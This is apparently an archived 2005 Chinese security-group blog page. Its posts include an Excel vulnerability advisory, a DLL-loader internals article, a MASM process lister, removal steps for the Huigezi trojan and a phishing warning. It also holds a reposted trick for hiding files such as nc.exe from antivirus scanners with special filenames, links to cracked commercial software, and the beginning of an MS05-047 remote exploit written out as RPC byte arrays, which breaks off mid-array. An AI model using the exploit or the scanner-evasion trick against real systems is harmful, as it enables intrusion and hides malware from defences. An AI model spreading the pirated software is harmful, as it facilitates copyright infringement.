关于作者

用户名:snapteam
笔名:斯拉普计算机小组
地区: 湖北-武汉
行业:其他

日历  

快速登录

+ 用户名:
+ 密 码:

在线留言



病毒类

数据恢复类

精品Blog

安全资讯

技术论坛

FreeBSD 专题

网络技术类

程序设计

访问统计:
文章个数:247
评论个数:71
留言条数:6




Powered by BlogDriver 2.1

斯拉普计算机小组 [S.C.T]

 

紧急处理小组 QQ群:8539711
杀毒防马研究组 1组QQ群:1938484
2组QQ群:8516413
3组QQ群:11622416
数据恢复小组 QQ群:3871258

文章

数据恢复小组成立  (作者置顶)

数据恢复小组正式成立,组长是SNAP TEAM,他从事数据恢复有几年的经验,由于数据恢复这个行业存在许多问题,兴趣的朋友欢迎你的到来

QQ群:3871258

建立这个群主要是交流数据恢复技术和讨论对这个行业内的一些看法,拒绝菜鸟

- 作者: 斯拉普计算机小组 2005年06月26日, 星期日 00:38  回复(4) |  引用(3) 加入博采

[软件]TuneUp Utilities 2006 5.0.2331

TuneUp Utilities 2006 5.0.2331 汉化修正注册版



德国系统调校工具第一品牌 - TuneUp Utilities,继 TuneUp 97 在德国大卖三十几万份之后,再度推出 TuneUp Utilities 企图攻占系统调整工具国际市场!TuneUp Utilities 的功能应有尽有,主要工具包括:系统改造/分析、硬盘/登录文件清理、系统加速、记忆体最佳化、登录文件编辑、软件卸载、工作管理员、文件还原/清理。

软件语言:简体中文  
软件类型:优化设置/注册版
运行环境:Win2003, WinXP, Win2000, NT, WinME, Win9X
软件大小:6.39 MB  

- 作者: 斯拉普计算机小组 2005年12月25日, 星期日 16:01  回复(3) |  引用(3) 加入博采

[软件]MS Office 2003 企业版

Microsoft Office 2003 Enterprise 10-in-1(English)



Includes:
Office Professional Enterprise Edition 2003 (English)
- Word
- Excel
- Outlook
- PowerPoint
- Access
- Publisher
- InfoPath
- OneNote
Office FrontPage 2003 (English)
Office OneNote 2003 (English)
Office Project Professional 2003 (English)
Office Project Standard 2003 (English)
Office Publisher 2003 (English)
Office Visio Professional 2003 (English)
Office Outlook 2003 (English)
Office Access 2003 Developer Extensions (English)
Visual Studio Tools for the Microsoft Office System 2003 (English)

下载地址:http://www.anxz.com/Download.asp?ID=2158&sID=0

软件语言:英文语言  
软件类型:办公专区/免费版
运行环境:Win2003, WinXP, Win2000, NT, WinME, Win9X
软件大小:700 MB  

- 作者: 斯拉普计算机小组 2005年12月25日, 星期日 15:59  回复(1) |  引用(3) 加入博采

Microsoft Excel内存破坏漏洞
Microsoft Excel内存破坏漏洞

受影响系统:
Microsoft Excel 97
Microsoft Excel 2003
Microsoft Excel 2002
Microsoft Excel 2000
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 15780

Microsoft Excel是Office产品套件中的电子表格和分析程序。

Microsoft Excel中存在安全漏洞,攻击者可能利用此漏洞在机器上执行指令。

如果能够通过Excel .xls文件的数据字段向"msvcrt.memmove()"传送很大的值的话,就可能执行任意代码。

<*来源:fearwall  *>

建议:
--------------------------------------------------------------------------------
厂商补丁:

Microsoft
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.microsoft.com/technet/security/

- 作者: 斯拉普计算机小组 2005年12月19日, 星期一 09:24  回复(1) |  引用(3) 加入博采

[转载]构造特殊文件名绕过多个反病毒引擎
文章作者:root (webmaster_at_xfocus.org)

类别: 设计错误

威胁程度:中

BUGTRAQ ID: 15423

受影响的反病毒引擎:
 
  Kaspersky Antivirus
  Symantec AntiVirus
  F-Prot Antivirus
  ClamWin Antivirus
  Avast Antivirus
  RAV AntiVirus
  Microsoft AntiSpyware
 
经测试版本:
  Symantec AntiVirus Corporate 8.0
  Kaspersky Antivirus Personal Pro 4.5.0.104
  Kaspersky Antivirus For MS NTServer 4.5.0.104
  F-Prot Antivirus 3.16c
  ClamWin Antivirus 0.87
  Avast.Professional.Edition.v4.6.603
  RAV.AntiVirus.Desktop.v8.6
  Microsoft AntiSpyware beta1




1.问题描述:

  Windows 系统可使用多种特殊符号作为文件名,一些反病毒引擎无法正常解析特殊构造文件名,从而对文件操作失败。

2.技术描述:

  测试方法:
 
  选择一个可被检测的文件,比如nc.exe,对文件进行重命名为:nc??.exe。(?? =hex C0 D7 BA DC)
 
  然后使用反病毒软件进行扫描。
 
  因为这些特殊的名字无法直接输入,那么如果想使用修改后的文件(nc??.exe),可以采用如下方法:
 
  [ROOT@D:\Vul\bugtrap]#dir /x
 
  1998-01-03 14:37         59,392 NC294E~1.EXE nc??.exe

  [ROOT@D:\Vul\bugtrap]#NC294E~1.EXE -help
  [v1.10 NT]
  connect to somewhere:   nc [-options] hostname port[s] [ports] ...
  listen for inbound:   nc -l -p port [options] [hostname] [port]
  options:
 
  使用MS-DOS文件名,可以对文件进行打开、读取、写入和复制等操作。
 
 
  事实上多数厂家在对此类问题处理上均有一些问题:比如Kaspersky在右键点击的此类文件时弹出菜单无扫描选项,Symantec AntiVirus Corporate V10.0.1.1000 可以检测但无法清除。AVG Anti-Virus 正常路径扫描可以通过,但点击扫描选项后却无法读文件。

- 作者: 斯拉普计算机小组 2005年12月8日, 星期四 20:06  回复(1) |  引用(3) 加入博采

ZwQuerySystemInformation列进程
ZwQuerySystemInformation列进程

ZwQuerySystemInformation列进程
编绎参数

ml /c /coff qs.asm
link /subsystem:CONSOLE qs.obj

;ZwQuerySystemInformation列进程
.586
.model flat, stdcall
option casemap:none

include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
include \masm32\include\masm32.inc
include \masm32\include\advapi32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\advapi32.lib
includelib \masm32\lib\masm32.lib

UNICODE_STRING STRUCT
_Length  WORD ?  ; len of string in bytes (not chars)
MaximumLength WORD ?  ; len of Buffer in bytes (not chars)
Buffer  PWSTR ?  ; pointer to string
UNICODE_STRING ENDS

SYSTEMTHREADS struct
KernelTime db      8 dup(?)
UserTime db      8 dup(?)
CreateTime db      8 dup(?)
WaitTime ULONG ?               
StartAddress PVOID ?              
ClientIs dd ?
Priority dd ?
BasePriority dd ?
ContextSwitchCount ULONG ?               
ThreadState  ULONG ?
WaitReason dd   ?     ;KWAIT_REASON  
SYSTEMTHREADS ends

SYSTEMPROCESSES struct
NextEntryDelta ULONG ?
ThreadCount ULONG ?
Reserved1 dd 6 DUP(?)
CreateTime db      8 dup(?)
UserTime db      8 dup(?)
KernelTime db      8 dup(?)
ProcessName UNICODE_STRING    <>   
BasePriority dd ? ;变量类型KPRIORITY            
ProcessId ULONG  ?              
InheritedFromProcessId ULONG  ?
HandleCount  ULONG  ?
Reserved2  ULONG  2 DUP(?)
VmCounters dd ? ;VM_COUNTERS
IoCounters dd ? ;IO_COUNTERS
Threads  SYSTEMTHREADS  <>
SYSTEMPROCESSES ends
.const
NT_PROCESSTHREAD_INFO equ 5
STATUS_SUCCESS  equ 0
.data
ZwQuerySystemInformation db "ZwQuerySystemInformation",0
Ntdll    db "NTDLL.DLL",0
mytitle    db "利用ZwQuerySystemInformation列进程",0
getsuccess   db "Get Original Data Success",13,10,0
apiaddr    dd ?
Pprocessinfo   dd ?
ReturnLength   dd ?
ProcessIdFormat   db "ID=%d  ProcessName=%ws",13,10,0 ;进程名是UNICODE格式的要用ws%
buffer    db 255 dup(?)
ProcessCount   dd 0
ProcessCountFormat  db "Total Process=%d",13,10,0
.data?
processinfo   db 50000H dup(?)

.code

start proc
invoke MessageBox,0,offset mytitle,offset mytitle,1
invoke LoadLibrary,offset Ntdll
invoke GetProcAddress,eax,offset ZwQuerySystemInformation
mov apiaddr,eax
mov Pprocessinfo,offset processinfo
mov ecx,offset ReturnLength
push ecx
push 50000H
push Pprocessinfo
push NT_PROCESSTHREAD_INFO
call apiaddr
.if eax == STATUS_SUCCESS
invoke StdOut,offset getsuccess
.endif
;列举进程
mov edi,Pprocessinfo
assume  edi: ptr SYSTEMPROCESSES
.while [edi].NextEntryDelta!=0
invoke wsprintf,addr buffer, addr ProcessIdFormat,[edi].ProcessId,[edi].ProcessName.Buffer
;invoke MessageBox,0,offset buffer,offset buffer,1
invoke StdOut,offset buffer
add edi,[edi].NextEntryDelta
inc ProcessCount
.endw
assume edi:nothing
invoke wsprintf,addr buffer, addr ProcessCountFormat,ProcessCount
invoke StdOut,offset buffer
ret

start endp

end start

- 作者: 斯拉普计算机小组 2005年12月8日, 星期四 20:05  回复(1) |  引用(3) 加入博采

WINDOWS 2K Dll 加载过程[ZT]

WINDOWS 2K Dll 加载过程[ZT]


jefong by 2005/03/30


这片文章是我在阅读完MSJ September 1999 Under the Hood后的总结。
在windows中exe可执行程序运行时都会调用一些DLL,例如KERNEL32.DLL和USER32.DLL等系统的dll。但是dll是怎么被加载的呢?通常,大家都知道在编写dll时会有一个DLLMain的入口函数,但是实际上这个函数并不是调用dll时最先的工作。首先dll需要被加载,然后要进行初始化分配,再之后才进入DLLMain。还有可能你的一个dll中还会调用另一各dll。那么dll到底是怎样加载和初始化的呢,我们来参考一下Platform SDK中的“Dynamic-Link Library Entry-Point Function”。
你的函数正在执行一个初始化任务,例如设置TLS,创建同步对象或打开一个文件。那么你在函数中一定不要调用LoadLibrary函数,因为dll加载命令会创建一个依赖循环。这点会导致在系统执行dll的初始化代码前就已经调用了dll的函数。例如,你不能在入口函数中调用FreeLibrary函数,因为这样会使系统在已经结束了dll后还调用dll中的操作,引起严重错误。
初始化任务时调用Win32函数也会引起错误,例如调用User,Shell和COM函数可能会引起存储无效的错误,因为dll中一些函数会调用LoadLibrary来加载别的系统组件。
  当你在你的DllMain函数中读一个注册表键值,这样做会被限制,因为在正常情况下ADVAPI32.DLL在你执行DllMain代码时还没被初始化,所以你调用的读注册表的函数会失败。
  在文档中初始化部分使用LoadLibrary函数是严格限制的,但是存在特殊的情况,在WindowsNT中USER32.DLL是忽略上面的限制的。这样一来好像与上面所说的相背了,在USER32.DLL的初始化部分出现了调用LoadLibrary加载dll的部分,但是没有出现问题。这是因为AppInit_Dlls的原因,AppInit_Dlls可以为任一个进程调用一个dll列表。所以,如果你的USER32.dll调用出现问题,那一定是AppInit_Dlls没有工作。
  接下来,我们来看看dll的加载和初始化是怎样完成的。操作系统有一个加载器,加载一个模块通常有两个步骤:1.把exe或dll映象到内中,这时,加载器会检查模块的导入地址表(IAT),看模块是否依赖于附加的dll。如果dll还没有被加载到进程中,那么加载器就把dll映象到内存。直到所有的未加载的模块都被映象到内存。2.初始化所有的dll。在windows NT中,系统调用exe和dll入口函数的程序会先调用LdrpRunInitializeRoutines函数,也就是说当你调用LoadLibrary时会调用LdrpRunInitializeRoutines,当调用LdrpRunInitializeRoutines时会首先检查已经映射到内存的dll是否已经被初始化。我们来看下面的代码(Matt的LdrpRunInitializeRoutines伪代码):
//=============================================================================
// Matt Pietrek, September 1999 Microsoft Systems Journal
// 中文注释部分为jefong翻译
//
// Pseudocode for LdrpRunInitializeRoutines in NTDLL.DLL (NT 4, SP3)
//
// 当LdrpRunInitializeRoutines 在一个进程中第一次被调用时(这个进程的隐式链接模块已经被初始化),bImplicitLoad 参数是非零。当使用LoadLibrary调用dll时,bImplicitLoad 参数是零;
//=============================================================================

#include <ntexapi.h>    // For HardError defines near the end

// Global symbols (name is accurate, and comes from NTDLL.DBG)
//  _NtdllBaseTag
//  _ShowSnaps
//  _SaveSp
//  _CurSp
//  _LdrpInLdrInit
//  _LdrpFatalHardErrorCount
//  _LdrpImageHasTls

NTSTATUS
LdrpRunInitializeRoutines( DWORD bImplicitLoad )
{
    // 第一部分,得到可能需要初始化的模块的数目。一些模块可能已经被初始化过了
    unsigned nRoutinesToRun = _LdrpClearLoadInProgress();

    if ( nRoutinesToRun )
    {
        // 如果有需要初始化的模块,为它们分配一个队列,用来装载各模块信息。
        pInitNodeArray = _RtlAllocateHeap(GetProcessHeap(),
                                            _NtdllBaseTag + 0x60000,
                                            nRoutinesToRun * 4 );
                           
        if ( 0 == pInitNodeArray )    // Make sure allocation worked
            return STATUS_NO_MEMORY;
    }
    else
        pInitNodeArray = 0;

    //第二部分;
    //进程环境块(Peb),包含一个指向新加载模块的链接列表的指针。
    pCurrNode = *(pCurrentPeb->ModuleLoaderInfoHead);
    ModuleLoaderInfoHead = pCurrentPeb->ModuleLoaderInfoHead;
        
    if ( _ShowSnaps )
    {
        _DbgPrint( "LDR: Real INIT LIST\n" );
    }

    nModulesInitedSoFar = 0;

    if ( pCurrNode != ModuleLoaderInfoHead ) //判断是否有新加载的模块
    {
        
        while ( pCurrNode != ModuleLoaderInfoHead ) //遍历所有新加载的模块
        {
            ModuleLoaderInfo  pModuleLoaderInfo;
            
            //
            //一个ModuleLoaderInfo结构节点的大小为0X10字节
            pModuleLoaderInfo = &NextNode - 0x10;
            
            localVar3C = pModuleLoaderInfo;         

            //
            // 如果模块已经被初始化,就忽略
            // X_LOADER_SAW_MODULE = 0x40 已被初始化
            if ( !(pModuleLoaderInfo->Flags35 & X_LOADER_SAW_MODULE) )
            {
                //
                // 模块没有被初始化,判断是否具有入口函数
                //
                if ( pModuleLoaderInfo->EntryPoint )
                {
                    //
                    // 具有初始化函数,添加到模块列表中,等待进行初始化
                    pInitNodeArray[nModulesInitedSoFar] =pModuleLoaderInfo;

                    // 如果ShowSnaps为非零,那么打印出模块的路径和入口函数的地址
      // 例如:
                    // C:\WINNT\system32\KERNEL32.dll init routine 77f01000
                    if ( _ShowSnaps )
                    {
                        _DbgPrint(  "%wZ init routine %x\n",
                                    &pModuleLoaderInfo->24,
                                    pModuleLoaderInfo->EntryPoint );
                    }

                    nModulesInitedSoFar++;
                }
            }

            // 设置模块的X_LOADER_SAW_MODULE标志。说明这个模块还没有被初始化。
            pModuleLoaderInfo->Flags35 &= X_LOADER_SAW_MODULE;

            // 处理下一个模块节点
            pCurrNode = pCurrNode->pNext
        }
    }
    else
    {
        pModuleLoaderInfo = localVar3C;     // May not be initialized???
    }
   
    if ( 0 == pInitNodeArray )
        return STATUS_SUCCESS;

    // ************************* MSJ Layout! *****************
    // If you're going to split this code across pages, this is a great
    // spot to split the code.  Just be sure to remove this comment
    // ************************* MSJ Layout! *****************
   
  &nsp; //
    // pInitNodeArray指针包含一个模块指针队列,这些模块还没有 DLL_PROCESS_ATTACH
    // 第三部分,调用初始化部分
    try     // Wrap all this in a try block, in case the init routine faults
    {
        nModulesInitedSoFar = 0;  // Start at array element 0

        //
        // 遍历模块队列
        //
        while ( nModulesInitedSoFar < nRoutinesToRun )
        {
            // 获得模块指针
            pModuleLoaderInfo = pInitNodeArray[ nModulesInitedSoFar ];

            // This doesn't seem to do anything...
            localVar3C = pModuleLoaderInfo;
            
            nModulesInitedSoFar++;
               
            // 保存初始化程序入口指针
            pfnInitRoutine = pModuleLoaderInfo->EntryPoint;
            
            fBreakOnDllLoad = 0;    // Default is to not break on load

            // 调试用
            // If this process is a debuggee, check to see if the loader
            // should break into a debugger before calling the initialization.
            //
            // DebuggerPresent (offset 2 in PEB) is what IsDebuggerPresent()
            // returns. IsDebuggerPresent is an NT only API.
            //
            if ( pCurrentPeb->DebuggerPresent || pCurrentPeb->1 )
            {
                LONG retCode;

                //              
                // Query the "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
                // Windows NT\CurrentVersion\Image File Execution Options"
                // registry key.  If a a subkey entry with the name of
                // the executable exists, check for the BreakOnDllLoad value.
                //
                retCode =
                    _LdrQueryImageFileExecutionOptions(
                                pModuleLoaderInfo->pwszDllName,
                                "BreakOnDllLoad",pInitNodeArray
                                REG_DWORD,
                                &fBreakOnDllLoad,
                                sizeof(DWORD),
                                0 );

                // If reg value not found (usually the case), then don't
                // break on this DLL init
                if ( retCode <= STATUS_SUCCESS )
                    fBreakOnDllLoad = 0;pInitNodeArray
            }
            
            if ( fBreakOnDllLoad )
            {           
                if ( _ShowSnaps )
                {
                    // Inform the debug output stream of the module name
                    // and the init routine address before actually breaking
                    // into the debugger

                    _DbgPrint(  "LDR: %wZ loaded.",
                                &pModuleLoaderInfo->pModuleLoaderInfo );
                    
                    _DbgPrint(  "- About to call init routine at %lx\n",
                                pfnInitRoutine )
                }
               
                // Break into the debugger                              
                _DbgBreakPoint();   // An INT 3, followed by a RET
            }
            else if ( _ShowSnaps && pfnInitRoutine )
            {
                // Inform the debug output stream of the module name
                // and the init routine address before calling it               
                _DbgPrint(  "LDR: %wZ loaded.",
                            pModuleLoaderInfo->pModuleLoaderInfo );

                _DbgPrint("- Calling init routine at %lx\n", pfnInitRoutine);
            }
                    
            if ( pfnInitRoutine )
            {
                // 设置DLL_PROCESS_ATTACH标志
                //
                // (Shouldn't this come *after* the actual call?)
                //
                // X_LOADER_CALLED_PROCESS_ATTACH = 0x8            
                pModuleLoaderInfo->Flags36 |= X_LOADER_CALLED_PROCESS_ATTACH;

                //
                // If there's Thread Local Storage (TLS) for this module,
                // call the TLS init functions.  *** NOTE *** This only
                // occurs during the first time this code is called (when
                // implicitly loaded DLLs are initialized).  Dynamically
                // loaded DLLs shouldn't use TLS declared vars, as per the
                // SDK documentation
                // 如果模块需要分配TLS,调用TLS初始化函数
  // 注意只有在第一次调时(bImplicitLoad!=0)才会分配TLS,就是隐式dll加载时
  // 当动态加载时(bImplicitLoad==0)就不需要声明TLS变量
                if ( pModuleLoaderInfo->bHasTLS && bImplicitLoad )
                {
                    _LdrpCallTlsInitializers(   pModuleLoaderInfo->hModDLL,
                                                DLL_PROCESS_ATTACH );
                }
               

                hModDLL = pModuleLoaderInfo->hModDLL

                MOV     ESI,ESP // Save off the ESP register into ESI
  
  // 设置入口函数指针               
                MOV     EDI,DWORD PTR [pfnInitRoutine]                     

                // In C++ code, the following ASM would look like:
                //
                // initRetValue =
                // pfnInitRoutine(hInstDLL,DLL_PROCESS_ATTACH,bImplicitLoad);
                //

                PUSH    DWORD PTR [bImplicitLoad]
               
                PUSH    DLL_PROCESS_ATTACH
               
                PUSH    DWORD PTR [hModDLL]
               
                CALL    EDI     // 调用入口函数
               
                MOV     BYTE PTR [initRetValue],AL  // 保存入口函数返回值

                MOV     DWORD PTR [_SaveSp],ESI // Save stack values after the
                MOV     DWORD PTR [_CurSp],ESP  // entry point code returns

                MOV     ESP,ESI     // Restore ESP to value before the call

                //
                // 检查调用前后的ESP值是否一至
  //
                if ( _CurSP != _SavSP )
                {
                    hardErrorParam = pModuleLoaderInfo->FullDllPath;

                    hardErrorRetCode =
                        _NtRaiseHardError(
                            STATUS_BAD_DLL_ENTRYPOINT | 0x10000000,
                            1,  // Number of parameters
                            1,  // UnicodeStringParametersMask,
                            &hardErrorParam,
                            OptionYesNo,    // Let user decide
                            &hardErrorResponse );
                                            
                    if ( _LdrpInLdrInit )
                        _LdrpFatalHardErrorCount++;

                    if (    (hardErrorRetCode >= STATUS_SUCCESS)
                        &&  (ResponseYes == hardErrorResponse) )
                    {
                        return STATUS_DLL_INIT_FAILED;
                    }
         &nbp;      }

                //
                // 入口函数返回0,错误
                //
                if ( 0 == initRetValue )
                {
                    DWORD hardErrorParam2;
                    DWORD hardErrorResponse2;
                                       
                    hardErrorParam2 = pModuleLoaderInfo->FullDllPath;
                    
                    _NtRaiseHardError(  STATUS_DLL_INIT_FAILED,
                                        1,  // Number of parameters
                                        1,  // UnicodeStringParametersMask
                                        &hardErrorParam2,
                                        OptionOk,   // OK is only response
                                        &hardErrorResponse2 );
                                                            
                    if ( _LdrpInLdrInit )
                        _LdrpFatalHardErrorCount++;

                    return STATUS_DLL_INIT_FAILED;
                }
            }
        }

        //
        // 如果EXE已经拥有了TLS,那么调用TLS初始化函数,也是在进程第一次初始化dll时
        //      
        if ( _LdrpImageHasTls && bImplicitLoad )
        {
            _LdrpCallTlsInitializers(   pCurrentPeb->ProcessImageBase,
                                        DLL_PROCESS_ATTACH );
        }
    }
    __finally
    {
        //
        // 第四部分;
        // 清除分配的内存
        _RtlFreeHeap( GetProcessHeap(), 0, pInitNodeArray );
    }

    return STATUS_SUCCESS;
}   

这个函数分为四个主要部分:
一:第一部分调用_LdrpClearLoadInProgress函数,这个NTDLL函数返回已经被映象到内存的dll的个数。例如,你的进程调用exm.dll,而exm.dll又调用exm1.dll和exm2.dll,那么_LdrpClearLoadInProgress会返回3。得到dll个数后,调用_RtlAllocateHeap,它会返回一个内存的队列指针。伪码中的队列指针为pInitNodeArray。队列中的每个节点指针都指向一个新加载的dll的结构信息。
二:第二部分的代码通过进程内部的数据结构获得一个新加载dll的链接列表。并且检查dll是否有入口指针,如果有,就把模块信息指针加入pInitNodeArray中。伪码中的模块信息指针为pModuleLoaderInfo。但是有的dll是资源文件,并不具有入口函数。所以pInitNodeArray中节点比_LdrpClearLoadInProgress返回的数目要少。
三:第三部分的代码枚举了pInitNodeArray中的对象,并且调用了入口函数。因为这部分的初始化代码有可能出现错误,所以使用了_try异常扑获功能。这就是为什么在DllMain中出现错误后不会使整个进程终止。
另外,在调用入口函数时还会对TLS进行初始化,当用 __declspec来声明TLS变量时,链接器包含的数据可以进行触发。在调用dll的入口函数时,LdrpRunInitializeRoutines函数会检查是否需要初始化一个TLS,如果需要,就调用_LdrpCallTlsInitializers。
在最后的伪代码部分使用汇编语言来进行dll的入口函数调用。主要的命令时CALL EDI;EDI中就是入口函数的指针。当此命令返回后,dll的初始化工作就完成了。对于C++写的dll,DllMain已经执行完成了它的DLL_PROCESS_ATTACH代码。注意一下入口函数的第三个参数pvReserved,当exe或dll隐式调用dll时这个参数是非零,当使用LoadLibrary调用时是零。在入口函数调用以后,加载器会检查调用入口函数前和后的ESP的值,如果不同,dll的初始化函数就会报错。检查完ESP后,还会检查入口函数的返回值,如果是零,说明初始化的时候出现了什么问题。并且系统会报错并停止调用dll。在第三部分的最后,在初始化完成后,如果exe进程已经拥有了TLS,并且隐式调用的dll已经被初始化,那么会调用_LdrpCallTlsInitializers。
四:第四部分代码是清理代码,象_RtlAllocateHeap 分配的pInitNodeArray的内存需要被释放。释放代码出现在_finally块中,调用了_RtlFreeHeap 。

- 作者: 斯拉普计算机小组 2005年12月8日, 星期四 20:01  回复(1) |  引用(3) 加入博采

新版灰鸽子的查杀方法
新版灰鸽子的查杀方法

1、展开:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\
删除:mchInjDrv
2、展开:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\
删除:virtual
3、展开:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet002\Services\
删除:mchInjDrv
4、展开:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet002\Services\
删除:virtual
5、重启系统。此时,灰鸽子创建的文件及文件夹已全部可见。删除C:\WINDOWS\Internet Explorer\文件夹中的所文件,最后,删除这个文件夹。


点击查看全图

- 作者: 斯拉普计算机小组 2005年11月29日, 星期二 17:12  回复(1) |  引用(3) 加入博采

恶意网站www.591qb.com
恶意网站www.591qb.com

www.591qb.com网站未经过招商银行和腾迅公司的许可,以银行卡"QQ一卡通"向QQ号码充值为由,要求客户输入"QQ一卡通"的卡号和密码,借此进一步盗窃客户的钱.

请大家注意了.

我问过招商银行,他们也在处理这个事情.

招商银行提醒大家:除了在http://www.cmbchina.com上可以输入卡号和密码之外请不要在其他任何网站上输入你的卡号和密码.

- 作者: 斯拉普计算机小组 2005年11月29日, 星期二 17:11  回复(1) |  引用(3) 加入博采

MS05-047 攻击程序
Microsoft Windows Plug and Play "Umpnpmgr.dll" Remote Exploit (MS05-047)

#include <stdio.h>
#include <windows.h>

#pragma comment(lib, "mpr")
#pragma comment(lib, "Rpcrt4")


unsigned char szBindString[] =
{
0x05,0x00,0x0b,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
0xb8,0x10,0xb8,0x10,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x01,0x00,
0x40,0x4e,0x9f,0x8d,0x3d,0xa0,0xce,0x11,0x8f,0x69,0x08,0x00,0x3e,0x30,0x05,0x1b,
0x01,0x00,0x00,0x00,0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,
0x2b,0x10,0x48,0x60,0x02,0x00,0x00,0x00
};

unsigned char szRequestString[] =
{
0x05,0x00,
0x00,0x03,0x10,0x00,0x00,0x00,0x30,0x08,0x00,0x00,0x01,0x00,0x00,0x00,0x18,0x08,
0x00,0x00,0x00,0x00,0x0a,0x00,0x44,0xf7,0x12,0x00,0x00,0x04,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x04,0x00,0x00,0x48,0x00,0x54,0x00,0x52,0x00,0x45,0x00,0x45,0x00,
0x5c,0x00,0x52,0x00,0x4f,0x00,0x4f,0x00,0x54,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,000,0x5c,0x00,
0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,0x5c,0x00,
